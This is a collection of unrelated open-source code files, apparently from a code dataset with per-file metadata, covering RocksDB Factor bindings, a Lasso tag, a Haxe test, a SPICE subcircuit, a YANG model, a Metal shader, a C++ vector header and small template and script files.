FUNCTION: void rocksdb_env_lower_high_priority_thread_pool_cpu_priority ( rocksdb_env_t* env )
FUNCTION: void rocksdb_env_destroy ( rocksdb_env_t* dummy )
FUNCTION: rocksdb_envoptions_t* rocksdb_envoptions_create ( )
FUNCTION: void rocksdb_envoptions_destroy (
rocksdb_envoptions_t* opt )
! SstFile
FUNCTION: rocksdb_sstfilewriter_t*
rocksdb_sstfilewriter_create ( rocksdb_envoptions_t* env,
rocksdb_options_t* io_options )
FUNCTION: rocksdb_sstfilewriter_t*
rocksdb_sstfilewriter_create_with_comparator (
rocksdb_envoptions_t* env, rocksdb_options_t* io_options,
rocksdb_comparator_t* comparator )
FUNCTION: void rocksdb_sstfilewriter_open (
rocksdb_sstfilewriter_t* writer, c-string name, char** errptr )
FUNCTION: void rocksdb_sstfilewriter_add (
rocksdb_sstfilewriter_t* writer, char* key, size_t keylen,
char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_sstfilewriter_put (
rocksdb_sstfilewriter_t* writer, char* key, size_t keylen,
char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_sstfilewriter_merge (
rocksdb_sstfilewriter_t* writer, char* key, size_t keylen,
char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_sstfilewriter_delete (
rocksdb_sstfilewriter_t* writer, char* key, size_t keylen,
char** errptr )
FUNCTION: void rocksdb_sstfilewriter_finish (
rocksdb_sstfilewriter_t* writer, char** errptr )
FUNCTION: void rocksdb_sstfilewriter_file_size (
rocksdb_sstfilewriter_t* writer, uint64_t* file_size )
FUNCTION: void rocksdb_sstfilewriter_destroy (
rocksdb_sstfilewriter_t* writer )
FUNCTION: rocksdb_ingestexternalfileoptions_t*
rocksdb_ingestexternalfileoptions_create ( )
FUNCTION: void
rocksdb_ingestexternalfileoptions_set_move_files (
rocksdb_ingestexternalfileoptions_t* opt, uchar move_files )
FUNCTION: void
rocksdb_ingestexternalfileoptions_set_snapshot_consistency (
rocksdb_ingestexternalfileoptions_t* opt,
uchar snapshot_consistency )
FUNCTION: void
rocksdb_ingestexternalfileoptions_set_allow_global_seqno (
rocksdb_ingestexternalfileoptions_t* opt, uchar allow_global_seqno )
FUNCTION: void
rocksdb_ingestexternalfileoptions_set_allow_blocking_flush (
rocksdb_ingestexternalfileoptions_t* opt,
uchar allow_blocking_flush )
FUNCTION: void
rocksdb_ingestexternalfileoptions_set_ingest_behind (
rocksdb_ingestexternalfileoptions_t* opt,
uchar ingest_behind )
FUNCTION: void rocksdb_ingestexternalfileoptions_destroy (
rocksdb_ingestexternalfileoptions_t* opt )
FUNCTION: void rocksdb_ingest_external_file (
rocksdb_t* db, char* file_list, size_t list_len,
rocksdb_ingestexternalfileoptions_t* opt, char** errptr )
FUNCTION: void rocksdb_ingest_external_file_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* handle,
char* file_list, size_t list_len,
rocksdb_ingestexternalfileoptions_t* opt, char** errptr )
FUNCTION: void rocksdb_try_catch_up_with_primary (
rocksdb_t* db, char** errptr )
! SliceTransform
FUNCTION: rocksdb_slicetransform_t*
rocksdb_slicetransform_create (
void* state,
void* fn1 ! void (*destructor)(void*),
void* fn2 ! char* (*transform)(void* dummy_ptr, char* key, size_t length, size_t* dst_length),
void* fn3 ! uchar (*in_domain)(void* dummy_ptr, char* key, size_t length),
void* fn4 ! uchar (*in_range)(void* dummy_ptr, char* key, size_t length),
void* fn5 ! char* (*name)(void*) )
)
FUNCTION: rocksdb_slicetransform_t*
rocksdb_slicetransform_create_fixed_prefix ( size_t dummy_size_t )
FUNCTION: rocksdb_slicetransform_t*
rocksdb_slicetransform_create_noop ( )
FUNCTION: void rocksdb_slicetransform_destroy (
rocksdb_slicetransform_t* dummy )
! Universal Compaction options
ENUM: rocksdb_universal_compation_options_enum
{ rocksdb_similar_size_compaction_stop_style 0 }
{ rocksdb_total_size_compaction_stop_style 1 } ;
FUNCTION: rocksdb_universal_compaction_options_t*
rocksdb_universal_compaction_options_create ( )
FUNCTION: void
rocksdb_universal_compaction_options_set_size_ratio (
rocksdb_universal_compaction_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_universal_compaction_options_get_size_ratio (
rocksdb_universal_compaction_options_t* options )
FUNCTION: void
rocksdb_universal_compaction_options_set_min_merge_width (
rocksdb_universal_compaction_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_universal_compaction_options_get_min_merge_width (
rocksdb_universal_compaction_options_t* options )
FUNCTION: void
rocksdb_universal_compaction_options_set_max_merge_width (
rocksdb_universal_compaction_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_universal_compaction_options_get_max_merge_width (
rocksdb_universal_compaction_options_t* options )
FUNCTION: void
rocksdb_universal_compaction_options_set_max_size_amplification_percent (
rocksdb_universal_compaction_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_universal_compaction_options_get_max_size_amplification_percent (
rocksdb_universal_compaction_options_t* options )
FUNCTION: void
rocksdb_universal_compaction_options_set_compression_size_percent (
rocksdb_universal_compaction_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_universal_compaction_options_get_compression_size_percent (
rocksdb_universal_compaction_options_t* options )
FUNCTION: void
rocksdb_universal_compaction_options_set_stop_style (
rocksdb_universal_compaction_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_universal_compaction_options_get_stop_style (
rocksdb_universal_compaction_options_t* options )
FUNCTION: void rocksdb_universal_compaction_options_destroy (
rocksdb_universal_compaction_options_t* dummy )
FUNCTION: rocksdb_fifo_compaction_options_t*
rocksdb_fifo_compaction_options_create ( )
FUNCTION: void
rocksdb_fifo_compaction_options_set_max_table_files_size (
rocksdb_fifo_compaction_options_t* fifo_opts, uint64_t size )
FUNCTION: uint64_t
rocksdb_fifo_compaction_options_get_max_table_files_size (
rocksdb_fifo_compaction_options_t* fifo_opts )
FUNCTION: void rocksdb_fifo_compaction_options_destroy (
rocksdb_fifo_compaction_options_t* fifo_opts )
FUNCTION: int rocksdb_livefiles_count (
rocksdb_livefiles_t* dummy )
FUNCTION: char* rocksdb_livefiles_name (
rocksdb_livefiles_t* dummy_ptr, int index )
FUNCTION: int rocksdb_livefiles_level (
rocksdb_livefiles_t* dummy_ptr, int index )
FUNCTION: size_t
rocksdb_livefiles_size ( rocksdb_livefiles_t* dummy_ptr, int index )
FUNCTION: char* rocksdb_livefiles_smallestkey (
rocksdb_livefiles_t* dummy_ptr, int index, size_t* size )
FUNCTION: char* rocksdb_livefiles_largestkey (
rocksdb_livefiles_t* dummy_ptr, int index, size_t* size )
FUNCTION: uint64_t rocksdb_livefiles_entries (
rocksdb_livefiles_t* dummy_ptr, int index )
FUNCTION: uint64_t rocksdb_livefiles_deletions (
rocksdb_livefiles_t* dummy_ptr, int index )
FUNCTION: void rocksdb_livefiles_destroy (
rocksdb_livefiles_t* dummy )
! Utility Helpers
FUNCTION: void rocksdb_get_options_from_string (
rocksdb_options_t* base_options, char* opts_str,
rocksdb_options_t* new_options, char** errptr )
FUNCTION: void rocksdb_delete_file_in_range (
rocksdb_t* db, char* start_key, size_t start_key_len,
char* limit_key, size_t limit_key_len, char** errptr )
FUNCTION: void rocksdb_delete_file_in_range_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* column_family,
char* start_key, size_t start_key_len, char* limit_key,
size_t limit_key_len, char** errptr )
! Transactions
FUNCTION: rocksdb_column_family_handle_t*
rocksdb_transactiondb_create_column_family (
rocksdb_transactiondb_t* txn_db,
rocksdb_options_t* column_family_options,
char* column_family_name, char** errptr )
FUNCTION: rocksdb_transactiondb_t* rocksdb_transactiondb_open (
rocksdb_options_t* options,
rocksdb_transactiondb_options_t* txn_db_options, c-string name,
char** errptr )
FUNCTION: rocksdb_transactiondb_t* rocksdb_transactiondb_open_column_families (
rocksdb_options_t* options,
rocksdb_transactiondb_options_t* txn_db_options, c-string name,
int num_column_families, char** column_family_names,
rocksdb_options_t** column_family_options,
rocksdb_column_family_handle_t** column_family_handles, char** errptr )
FUNCTION: rocksdb_snapshot_t*
rocksdb_transactiondb_create_snapshot ( rocksdb_transactiondb_t* txn_db )
FUNCTION: void rocksdb_transactiondb_release_snapshot (
rocksdb_transactiondb_t* txn_db, rocksdb_snapshot_t* snapshot )
FUNCTION: rocksdb_transaction_t* rocksdb_transaction_begin (
rocksdb_transactiondb_t* txn_db,
rocksdb_writeoptions_t* write_options,
rocksdb_transaction_options_t* txn_options,
rocksdb_transaction_t* old_txn )
FUNCTION: void rocksdb_transaction_commit (
rocksdb_transaction_t* txn, char** errptr )
FUNCTION: void rocksdb_transaction_rollback (
rocksdb_transaction_t* txn, char** errptr )
FUNCTION: void rocksdb_transaction_set_savepoint (
rocksdb_transaction_t* txn )
FUNCTION: void rocksdb_transaction_rollback_to_savepoint (
rocksdb_transaction_t* txn, char** errptr )
FUNCTION: void rocksdb_transaction_destroy (
rocksdb_transaction_t* txn )
! This snapshot should be freed using rocksdb_free
FUNCTION: rocksdb_snapshot_t*
rocksdb_transaction_get_snapshot ( rocksdb_transaction_t* txn )
FUNCTION: char* rocksdb_transaction_get (
rocksdb_transaction_t* txn, rocksdb_readoptions_t* options,
char* key, size_t klen, size_t* vlen, char** errptr )
FUNCTION: char* rocksdb_transaction_get_cf (
rocksdb_transaction_t* txn, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key, size_t klen,
size_t* vlen, char** errptr )
FUNCTION: char* rocksdb_transaction_get_for_update (
rocksdb_transaction_t* txn, rocksdb_readoptions_t* options,
char* key, size_t klen, size_t* vlen, uchar exclusive,
char** errptr )
FUNCTION: char* rocksdb_transaction_get_for_update_cf (
rocksdb_transaction_t* txn, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key, size_t klen,
size_t* vlen, uchar exclusive, char** errptr )
FUNCTION: char* rocksdb_transactiondb_get (
rocksdb_transactiondb_t* txn_db, rocksdb_readoptions_t* options,
char* key, size_t klen, size_t* vlen, char** errptr )
FUNCTION: char* rocksdb_transactiondb_get_cf (
rocksdb_transactiondb_t* txn_db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, size_t* vallen, char** errptr )
FUNCTION: void rocksdb_transaction_put (
rocksdb_transaction_t* txn, char* key, size_t klen, char* val,
size_t vlen, char** errptr )
FUNCTION: void rocksdb_transaction_put_cf (
rocksdb_transaction_t* txn, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char* val, size_t vlen, char** errptr )
FUNCTION: void rocksdb_transactiondb_put (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
char* key, size_t klen, char* val, size_t vlen, char** errptr )
FUNCTION: void rocksdb_transactiondb_put_cf (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_transactiondb_write (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
rocksdb_writebatch_t *batch, char** errptr )
FUNCTION: void rocksdb_transaction_merge (
rocksdb_transaction_t* txn, char* key, size_t klen, char* val,
size_t vlen, char** errptr )
FUNCTION: void rocksdb_transaction_merge_cf (
rocksdb_transaction_t* txn, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char* val, size_t vlen, char** errptr )
FUNCTION: void rocksdb_transactiondb_merge (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
char* key, size_t klen, char* val, size_t vlen, char** errptr )
FUNCTION: void rocksdb_transactiondb_merge_cf (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key, size_t klen,
char* val, size_t vlen, char** errptr )
FUNCTION: void rocksdb_transaction_delete (
rocksdb_transaction_t* txn, char* key, size_t klen, char** errptr )
FUNCTION: void rocksdb_transaction_delete_cf (
rocksdb_transaction_t* txn, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char** errptr )
FUNCTION: void rocksdb_transactiondb_delete (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
char* key, size_t klen, char** errptr )
FUNCTION: void rocksdb_transactiondb_delete_cf (
rocksdb_transactiondb_t* txn_db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, char** errptr )
FUNCTION: rocksdb_iterator_t*
rocksdb_transaction_create_iterator ( rocksdb_transaction_t* txn,
rocksdb_readoptions_t* options )
FUNCTION: rocksdb_iterator_t*
rocksdb_transaction_create_iterator_cf (
rocksdb_transaction_t* txn, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family )
FUNCTION: rocksdb_iterator_t*
rocksdb_transactiondb_create_iterator ( rocksdb_transactiondb_t* txn_db,
rocksdb_readoptions_t* options )
FUNCTION: rocksdb_iterator_t*
rocksdb_transactiondb_create_iterator_cf (
rocksdb_transactiondb_t* txn_db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family )
FUNCTION: void rocksdb_transactiondb_close (
rocksdb_transactiondb_t* txn_db )
FUNCTION: rocksdb_checkpoint_t*
rocksdb_transactiondb_checkpoint_object_create ( rocksdb_transactiondb_t* txn_db,
char** errptr )
FUNCTION: rocksdb_optimistictransactiondb_t*
rocksdb_optimistictransactiondb_open ( rocksdb_options_t* options,
c-string name, char** errptr )
FUNCTION: rocksdb_optimistictransactiondb_t*
rocksdb_optimistictransactiondb_open_column_families (
rocksdb_options_t* options, c-string name, int num_column_families,
char** column_family_names,
rocksdb_options_t** column_family_options,
rocksdb_column_family_handle_t** column_family_handles, char** errptr )
FUNCTION: rocksdb_t*
rocksdb_optimistictransactiondb_get_base_db (
rocksdb_optimistictransactiondb_t* otxn_db )
FUNCTION: void rocksdb_optimistictransactiondb_close_base_db (
rocksdb_t* base_db )
FUNCTION: rocksdb_transaction_t*
rocksdb_optimistictransaction_begin (
rocksdb_optimistictransactiondb_t* otxn_db,
rocksdb_writeoptions_t* write_options,
rocksdb_optimistictransaction_options_t* otxn_options,
rocksdb_transaction_t* old_txn )
FUNCTION: void rocksdb_optimistictransactiondb_close (
rocksdb_optimistictransactiondb_t* otxn_db )
! Transaction Options
FUNCTION: rocksdb_transactiondb_options_t*
rocksdb_transactiondb_options_create ( )
FUNCTION: void rocksdb_transactiondb_options_destroy (
rocksdb_transactiondb_options_t* opt )
FUNCTION: void rocksdb_transactiondb_options_set_max_num_locks (
rocksdb_transactiondb_options_t* opt, int64_t max_num_locks )
FUNCTION: void rocksdb_transactiondb_options_set_num_stripes (
rocksdb_transactiondb_options_t* opt, size_t num_stripes )
FUNCTION: void
rocksdb_transactiondb_options_set_transaction_lock_timeout (
rocksdb_transactiondb_options_t* opt, int64_t txn_lock_timeout )
FUNCTION: void
rocksdb_transactiondb_options_set_default_lock_timeout (
rocksdb_transactiondb_options_t* opt, int64_t default_lock_timeout )
FUNCTION: rocksdb_transaction_options_t*
rocksdb_transaction_options_create ( )
FUNCTION: void rocksdb_transaction_options_destroy (
rocksdb_transaction_options_t* opt )
FUNCTION: void rocksdb_transaction_options_set_set_snapshot (
rocksdb_transaction_options_t* opt, uchar v )
FUNCTION: void rocksdb_transaction_options_set_deadlock_detect (
rocksdb_transaction_options_t* opt, uchar v )
FUNCTION: void rocksdb_transaction_options_set_lock_timeout (
rocksdb_transaction_options_t* opt, int64_t lock_timeout )
FUNCTION: void rocksdb_transaction_options_set_expiration (
rocksdb_transaction_options_t* opt, int64_t expiration )
FUNCTION: void
rocksdb_transaction_options_set_deadlock_detect_depth (
rocksdb_transaction_options_t* opt, int64_t depth )
FUNCTION: void
rocksdb_transaction_options_set_max_write_batch_size (
rocksdb_transaction_options_t* opt, size_t size )
FUNCTION: rocksdb_optimistictransaction_options_t*
rocksdb_optimistictransaction_options_create ( )
FUNCTION: void rocksdb_optimistictransaction_options_destroy (
rocksdb_optimistictransaction_options_t* opt )
FUNCTION: void
rocksdb_optimistictransaction_options_set_set_snapshot (
rocksdb_optimistictransaction_options_t* opt, uchar v )
! referring to convention (3), this should be used by client
! to free memory that was malloc()ed
FUNCTION: void rocksdb_free ( void* ptr )
FUNCTION: rocksdb_pinnableslice_t* rocksdb_get_pinned (
rocksdb_t* db, rocksdb_readoptions_t* options, char* key,
size_t keylen, char** errptr )
FUNCTION: rocksdb_pinnableslice_t* rocksdb_get_pinned_cf (
rocksdb_t* db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, char** errptr )
FUNCTION: void rocksdb_pinnableslice_destroy (
rocksdb_pinnableslice_t* v )
FUNCTION: char* rocksdb_pinnableslice_value (
rocksdb_pinnableslice_t* t, size_t* vlen )
FUNCTION: rocksdb_memory_consumers_t*
rocksdb_memory_consumers_create ( )
FUNCTION: void rocksdb_memory_consumers_add_db (
rocksdb_memory_consumers_t* consumers, rocksdb_t* db )
FUNCTION: void rocksdb_memory_consumers_add_cache (
rocksdb_memory_consumers_t* consumers, rocksdb_cache_t* cache )
FUNCTION: void rocksdb_memory_consumers_destroy (
rocksdb_memory_consumers_t* consumers )
FUNCTION: rocksdb_memory_usage_t*
rocksdb_approximate_memory_usage_create ( rocksdb_memory_consumers_t* consumers,
char** errptr )
FUNCTION: void rocksdb_approximate_memory_usage_destroy (
rocksdb_memory_usage_t* usage )
FUNCTION: uint64_t
rocksdb_approximate_memory_usage_get_mem_table_total (
rocksdb_memory_usage_t* memory_usage )
FUNCTION: uint64_t
rocksdb_approximate_memory_usage_get_mem_table_unflushed (
rocksdb_memory_usage_t* memory_usage )
FUNCTION: uint64_t
rocksdb_approximate_memory_usage_get_mem_table_readers_total (
rocksdb_memory_usage_t* memory_usage )
FUNCTION: uint64_t
rocksdb_approximate_memory_usage_get_cache_total (
rocksdb_memory_usage_t* memory_usage )
FUNCTION: void rocksdb_options_set_dump_malloc_stats (
rocksdb_options_t* options, uchar unk )
FUNCTION: void
rocksdb_options_set_memtable_whole_key_filtering (
rocksdb_options_t* options, uchar unk )
FUNCTION: void rocksdb_cancel_all_background_work (
rocksdb_t* db, uchar wait )
| Factor | 5 | melted/factor | extra/rocksdb/ffi/ffi.factor | [
"BSD-2-Clause"
] |
<?Lassoscript
// Last modified 8/31/09 by ECL, Landmann InterActive
/*
Tagdocs;
{Tagname= OutputPrice2 }
{Description= Outputs the already-built $vPrice_2 }
{Author= Eric Landmann }
{AuthorEmail= support@iterate.ws }
{ModifiedBy= }
{ModifiedByEmail= }
{Date= 7/6/09 }
{Usage= OutputPrice2 }
{ExpectedResults= HTML for Price_2 }
{Dependencies= $vPrice_2 must be defined, otherwise a comment will be output }
{DevelNotes= $vPrice_2 is defined in build_detail.inc
This tag is merely a convenience to make it less awkward for a designer }
{ChangeNotes= 8/31/09
Integrated into itPage codebase. }
/Tagdocs;
*/
If: !(Lasso_TagExists:'OutputPrice2');
Define_Tag:'OutputPrice2',
-Description='Outputs the Price2 (in $vPrice_2)';
Local('Result') = null;
// Check if var is defined
If: (Var:'vPrice_2') != '';
#Result += '<!-- OutputPrice2 -->\n';
#Result += '<div class="Price2">'($vPrice_2)'</div>\n';
Return: (Encode_Smart:(#Result));
Else;
// Output a comment that variable is not defined
#Result = '<!-- OutputPrice2: Price2 is undefined -->\n';
Return: (Encode_Smart:(#Result));
/If;
/Define_Tag;
Log_Critical: 'Custom Tag Loaded - OutputPrice2';
/If;
?> | Lasso | 4 | fourplusone/SubEthaEdit | Documentation/ModeDevelopment/Reference Files/LassoScript-HTML/itpage/LassoStartup/OutputPrice2.lasso | [
"MIT"
] |
package unit.issues;
class Issue8050 extends unit.Test {
var field(get,never):Null<Int>;
static var sideEffectCounter = 0;
function get_field() {
sideEffectCounter++;
return 42;
}
function test() {
var s = switch this {
case {field: 42}: "yes";
case _: "no";
}
eq("yes", s);
eq(1, sideEffectCounter);
}
} | Haxe | 3 | Alan-love/haxe | tests/unit/src/unit/issues/Issue8050.hx | [
"MIT"
] |
* DFF
*.subckt mux2trans in0 in1 out clk clkn Vdd Gnd size=1 pnratio=2
*.subckt inv in out Vdd Gnd nsize=1 psize=2
.subckt dff D Q clk clkn Vdd Gnd pnratio=2 size=1
X0 D mux1in mux1out clk clkn Vdd Gnd mux2trans size='size' pnratio='pnratio'
X1 mux1out mux2in Vdd Gnd inv nsize=1 psize='pnratio'
X2 mux2in mux1in Vdd Gnd inv nsize=1 psize='pnratio'
X3 Qn mux2in mux2out clk clkn Vdd Gnd mux2trans size='size' pnratio='pnratio'
X4 mux2out Q Vdd Gnd inv nsize=1 psize='pnratio'
X5 Q Qn Vdd Gnd inv nsize=1 psize='pnratio'
.ends | SourcePawn | 4 | HackerFoo/vtr-verilog-to-routing | vtr_flow/scripts/spice/subckt/dff.sp | [
"MIT"
] |
#!/bin/sh
SCRIPT_PATH="$(cd "$(dirname "$0")" ; pwd -P)"
"$SCRIPT_PATH/node" "$SCRIPT_PATH/package/lib/cli/cli.js" "$@"
| Shell | 3 | burner/playwright | utils/build/run-driver-posix.sh | [
"Apache-2.0"
] |
module org-openroadm-optical-transport-interfaces {
namespace "http://org/openroadm/optical-transport-interfaces";
prefix org-openroadm-optical-transport-interfaces;
import org-openroadm-device {
prefix org-openroadm-device;
}
import org-openroadm-interfaces {
prefix openROADM-if;
}
import org-openroadm-common-types {
prefix org-openroadm-common-types;
}
organization "Open ROADM MSA";
contact
"OpenROADM.org";
description
"This module contains YANG definitions
for the Optical Transport Interfaces.
Copyright of the Members of the Open ROADM MSA Agreement dated (c) 2016,
AT&T Intellectual Property. All other rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* Neither the Members of the Open ROADM MSA Agreement nor the names of its
contributors may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT ''AS IS''
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
Also contains code components extracted from IETF Interfaces. These code components
are copyrighted and licensed as follows:
Copyright (c) 2016 IETF Trust and the persons identified as the document authors.
All rights reserved.
This document is subject to BCP 78 and the IETF Trust’s Legal Provisions Relating
to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of
publication of this document. Please review these documents carefully, as they
describe your rights and restrictions with respect to this document. Code Components
extracted from this document must include Simplified BSD License text as described in
Section 4.e of the Trust Legal Provisions and are provided without warranty as
described in the Simplified BSD License.";
revision 2016-10-14 {
description
"Version 1.2";
}
grouping ots-attributes {
description
"Optical Transport Section (OTS) attributes";
leaf fiber-type {
type enumeration {
enum "smf" {
value 0;
description
"Single Mode Fiber";
}
enum "eleaf" {
value 1;
description
"ELEAF";
}
enum "oleaf" {
value 2;
description
"OLEAF";
}
enum "dsf" {
value 3;
description
"DSF";
}
enum "truewave" {
value 4;
description
"TRUEWAVE Reduced Slope";
}
enum "truewavec" {
value 5;
description
"TRUEWAVE Classic";
}
enum "nz-dsf" {
value 6;
description
"NZ-DSF";
}
enum "ull" {
value 7;
description
"Ultra Low Loss (ULL)";
}
}
default "smf";
description
"fiber type
Default : SMF ";
}
leaf span-loss-receive {
description
"Span loss on the receiver side. Set by the controller and used by device to set AMP gain.";
type org-openroadm-common-types:ratio-dB;
}
leaf span-loss-transmit {
description
"Span loss on the transmitter side. Set by the controller and used by device to configure MSA compliant channel launch power";
type org-openroadm-common-types:ratio-dB;
}
}
grouping ots-container {
container ots {
description
"Optical Transport Section (OTS):
Models the optical interfaces for an Optical White Box.
The network side is represented by the OTS/OMS.";
uses ots-attributes;
}
}
augment "/org-openroadm-device:org-openroadm-device/org-openroadm-device:interface" {
when "org-openroadm-device:type = 'openROADM-if:opticalTransport'";
uses ots-container;
}
}
| YANG | 5 | meodaiduoi/onos | models/openroadm/src/main/yang/org-openroadm-optical-transport-interfaces@2016-10-14.yang | [
"Apache-2.0"
] |
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct Uniforms {
half4 inputVal;
half4 expected;
half4 colorGreen;
half4 colorRed;
};
struct Inputs {
};
struct Outputs {
half4 sk_FragColor [[color(0)]];
};
fragment Outputs fragmentMain(Inputs _in [[stage_in]], constant Uniforms& _uniforms [[buffer(0)]], bool _frontFacing [[front_facing]], float4 _fragCoord [[position]]) {
Outputs _out;
(void)_out;
const half4 negativeVal = half4(-1.0h, -4.0h, -16.0h, -64.0h);
_out.sk_FragColor = ((((((((((rsqrt(_uniforms.inputVal.x) == _uniforms.expected.x && all(rsqrt(_uniforms.inputVal.xy) == _uniforms.expected.xy)) && all(rsqrt(_uniforms.inputVal.xyz) == _uniforms.expected.xyz)) && all(rsqrt(_uniforms.inputVal) == _uniforms.expected)) && 1.0h == _uniforms.expected.x) && all(half2(1.0h, 0.5h) == _uniforms.expected.xy)) && all(half3(1.0h, 0.5h, 0.25h) == _uniforms.expected.xyz)) && all(half4(1.0h, 0.5h, 0.25h, 0.125h) == _uniforms.expected)) && rsqrt(-1.0h) == _uniforms.expected.x) && all(rsqrt(half2(-1.0h, -4.0h)) == _uniforms.expected.xy)) && all(rsqrt(half3(-1.0h, -4.0h, -16.0h)) == _uniforms.expected.xyz)) && all(rsqrt(negativeVal) == _uniforms.expected) ? _uniforms.colorGreen : _uniforms.colorRed;
return _out;
}
| Metal | 3 | fourgrad/skia | tests/sksl/intrinsics/Inversesqrt.metal | [
"BSD-3-Clause"
] |
/*
* Copyright 2013 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef UI_VEC3_H
#define UI_VEC3_H
#include <stdint.h>
#include <sys/types.h>
#include <ui/vec2.h>
namespace android {
// -------------------------------------------------------------------------------------
template <typename T>
class tvec3 : public TVecProductOperators<tvec3, T>,
public TVecAddOperators<tvec3, T>,
public TVecUnaryOperators<tvec3, T>,
public TVecComparisonOperators<tvec3, T>,
public TVecFunctions<tvec3, T>
{
public:
enum no_init { NO_INIT };
typedef T value_type;
typedef T& reference;
typedef T const& const_reference;
typedef size_t size_type;
union {
struct { T x, y, z; };
struct { T s, t, p; };
struct { T r, g, b; };
Impersonator< tvec2<T> > xy;
Impersonator< tvec2<T> > st;
Impersonator< tvec2<T> > rg;
};
enum { SIZE = 3 };
inline static size_type size() { return SIZE; }
// array access
inline T const& operator [] (size_t i) const { return (&x)[i]; }
inline T& operator [] (size_t i) { return (&x)[i]; }
// -----------------------------------------------------------------------
// we don't provide copy-ctor and operator= on purpose
// because we want the compiler generated versions
// constructors
// leaves object uninitialized. use with caution.
explicit tvec3(no_init) { }
// default constructor
tvec3() : x(0), y(0), z(0) { }
// handles implicit conversion to a tvec4. must not be explicit.
template<typename A>
tvec3(A v) : x(v), y(v), z(v) { }
template<typename A, typename B, typename C>
tvec3(A x, B y, C z) : x(x), y(y), z(z) { }
template<typename A, typename B>
tvec3(const tvec2<A>& v, B z) : x(v.x), y(v.y), z(z) { }
template<typename A>
explicit tvec3(const tvec3<A>& v) : x(v.x), y(v.y), z(v.z) { }
template<typename A>
tvec3(const Impersonator< tvec3<A> >& v)
: x(((const tvec3<A>&)v).x),
y(((const tvec3<A>&)v).y),
z(((const tvec3<A>&)v).z) { }
template<typename A, typename B>
tvec3(const Impersonator< tvec2<A> >& v, B z)
: x(((const tvec2<A>&)v).x),
y(((const tvec2<A>&)v).y),
z(z) { }
// cross product works only on vectors of size 3
template <typename RT>
friend inline
tvec3 __attribute__((pure)) cross(const tvec3& u, const tvec3<RT>& v) {
return tvec3(
u.y*v.z - u.z*v.y,
u.z*v.x - u.x*v.z,
u.x*v.y - u.y*v.x);
}
};
// ----------------------------------------------------------------------------------------
typedef tvec3<float> vec3;
// ----------------------------------------------------------------------------------------
}; // namespace android
#endif /* UI_VEC4_H */
| C | 5 | Neptos/openpilot | phonelibs/android_frameworks_native/include/ui/vec3.h | [
"MIT"
] |
<button type="submit" class="ui icon labeled large button" id="sylius-cart-update" {{ sylius_test_html_attribute('cart-update-button') }} form="{{ main_form }}"><i class="save icon"></i> {{ 'sylius.ui.update_cart'|trans }}</button>
| Twig | 3 | titomtd/Sylius | src/Sylius/Bundle/ShopBundle/Resources/views/Cart/Summary/_update.html.twig | [
"MIT"
] |
import hashlib
MNT4298_r = 475922286169261325753349249653048451545124878552823515553267735739164647307408490559963137
